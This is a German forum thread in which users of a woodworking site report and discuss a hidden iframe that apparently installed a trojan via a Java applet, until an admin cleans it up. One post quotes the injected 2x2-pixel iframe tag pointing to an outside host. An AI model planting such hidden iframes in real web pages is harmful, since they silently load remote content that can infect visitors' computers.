Malware?

[uli2003]

Aufgrund der Dringlichkeit - es scheint so, als wenn hier auf woodworker.de ein versteckter IFrame Malware auf den Nutzer-PCs installiert.
Bin ich der Einzige?
Kann das jemand bestätigen?

'ISP Architecture Wizard' > unbedingt blocken!


Grüße
Uli

 

[thetrick]

habe genau die gleichen Meldungen von Kaspersky.
Auf dem privaten Rechner mit Adblock ist sowieso keine Werbung.

 

[uli2003]

Jepp, hier hat sich ein IFrame eingenistet.

Advertisement

<iframe src="http://leadgentracker.com/banner/adv.php" width=2 height=2 frameborder="0">

Dann mal ran Admin!

Grüße
Uli

 

[yoghurt]

Hallo,
danke, ich habe den Admin benachrichtigt. Als Mod kann ich leider nix machen...

 

[rorob]

Grüß dich Uli,
danke für deine Warnung, ich hab noch nichts dergl. entdeckt.
Hab mir vor einem Jahr mal den BKA-Trojaner eingefangen, konnte ihn "entfernen" mit einer rescue-CD von (glaube, es war Kaspersky), ob er schläft, weiß ich nicht. Hab seitdem Ruhe (WIN XP SP 3).
Die Frage sollte den sysadmin von woodworker.de interessieren. Ich check meine Platte regelmäßig mit "malware-antimalwarebytes", seit dem hab ich Ruhe, aber 100% Sicherheit gibt es nicht.
Das Problem sind halt die links, irgendwo vergessen, ein Häkchen rauszunehmen, dann hast du wunderschön lästige "toolbars", die du fast nicht mehr los wirst.

Also: SYSADMIN: Irgendwelche Erkenntnisse?

Gruß
Robert

 

[uli2003]

Schau mal in deinen Task-Manager...

 

[rorob]

Schon gemacht, bei Prozesse nichts zu finden.

Gruß

Robert

 

[uli2003]

Interessant. Meine Macs interessiert das eh nicht, aber jetzt am Lappi meiner Frau - sofort aktiv.
Immer unter anderen Namen.

Schreibt sich in die Run, und startet sofort - mit Verbindungsaufbau nach außen.

Dabei ist diese Kiste auch recht abgesichert..

 

[rorob]

das sieht danach aus, dass der laptop deiner Frau als "Verteiler" peer to peer benutzt wird.

 

[uli2003]

Nö, ich hab sofort alles gelöscht. Alles gut, bis zum nächsten Aufruf von Woodworker.de.

Na mal sehen was bei rauskommt, keine Panik.


Grüße
Uli

 

[uli2003]

Soo, Bürorechner gestartet, binnen weniger Sekunden der gleiche Trojaner drauf nach Aufruf dieser Seite.
Merkt das hier Niemand?

Grüße
Uli

 

[koala]

Guten Morgen,
also ich sitz hier an meinem Büro-Rechenknecht...nix dergleichen! Wie würde ich das merken??? Virenscanner meldet nichts.

 

[michaelhild]

Hier an W2K kann ich nichts feststellen.

'ISP Architecture Wizard steht nicht im Taskmanager, Registrierung ist auch sauber.

 

[michael]

Danke Uli für den Hinweis.

kannst noch mal schauen, sollte wieder alles ok sein.

 

[ickeooch]

Bei mir (Internet Explorer) kommt auf Seite mit der Forenübersicht der Hinweis, dass versucht wird das Java Addon zu starten, sprich es versucht ein Java Applet zu starten. Da ich da nicht drauf reagiere, weiß ich nicht ob das gewollt ist.
Ich werde heute Abend mal zu Hause (Firefox) schauen was da passiert / passiert ist.

Edit / Auf der Seite mit den Beiträgen erscheint der Hinweis auf das Applet auch.

 

[Thomas09]

Und gibts da was neues? Wäre ja mal toll was offizielles zu hören!

 

[michaelhild]

Guckst Du Beitrag #14.

 

[Thomas09]

Perfekt danke

 

[uli2003]

Ja, es war ein Java-Applet. Alles wieder clean, danke!

Vermutlich haben nur die etwas gemerkt, die Java-Applets zulassen - aber manchmal lässt sich das nicht vermeiden. Wenn eine Tür auf steht, darf man noch lange nicht eintreten.

Grüße
Uli

 

[michael]

@all

wieder alles heile.